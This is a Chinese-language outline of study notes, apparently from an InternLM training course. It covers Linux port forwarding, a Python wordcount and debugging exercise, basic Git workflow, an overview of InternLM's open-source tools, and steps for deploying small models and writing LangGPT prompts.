目录：
1. Linux基础知识
2.python基础知识
3.Git基础知识
4.书生大模型全链路开源体系

=====================================================================

1.1-Linux基础知识

配置环境后，运行 hello_word.py

在本地终端中进行端口映射

映射成功后，访问 127.0.0.1：7860

1.2-python基础知识

任务1：实现wordcount函数

任务2：通过VScode，debug wordcount.py文件
远程连接服务器后，确认服务器端安装好python插件，随后打断点，进行debug，debug过程如下

1.3-git基础知识

1.破冰行动-自我介绍

1.首先把项目仓库fork到自己仓库

2.通过git clone到本地

3.创建自定义分支并切换到自定义的新分支

4.创建自我介绍文件并上传

2.创建git仓库并添加介绍

创建的仓库连接

1.4-书生大模型全链路开源体系

书生大模型已经开源一周年，能处理1M超长上下文，互联网搜索和信息整合等复杂任务，大海捞针测试中，1百万token中获得全绿表现，能够调用搜索引擎，从海量搜索结果中，进行筛选和总结，回答相关问题，现在共有4个版本，其中有1.8B，7B，20B,102B模型，20B模型出现了涌现的现象（自我基于数据集生成），从数据集到微调工具等进行了全开源。

数据集方面

1.miner u： pdf文档提取工具
2. Label LLM： llm对话标注，能实现多人协作，任务管理等
3. label U： 轻量级开源图像标注工区，支持图像，视频，音频等

微调框架 XTuner

支持QLoRA微调， LoRA微调， 使用训练引擎为MMengine，解决显存

智能体

支持多种大语言模型，GPT3.5/4, InternLM， Llama等

1.5-8G显存玩转书生大模型demo

1.激活自带环境

2.部署InternLM2-Chat-1.8B ，创建demo并运行，交互

3.部署 InternLM2-Chat-1.8B 模型

启动streamlit服务

本地启动端口映射

在服务器中启动服务

4. 部署InternLM-XComposer2-VL-1.8B模型

1.5-LangGPT结构化提示词编写实践

1.使用LMDeploy进行部署

2.运行测试脚本，测试InternLM2-chat-1_8b模型并测试是否部署成功

3.启动图形化界面

完成相关数字比较任务

提示工程

增加提示词，并使用langgpt回答相关问题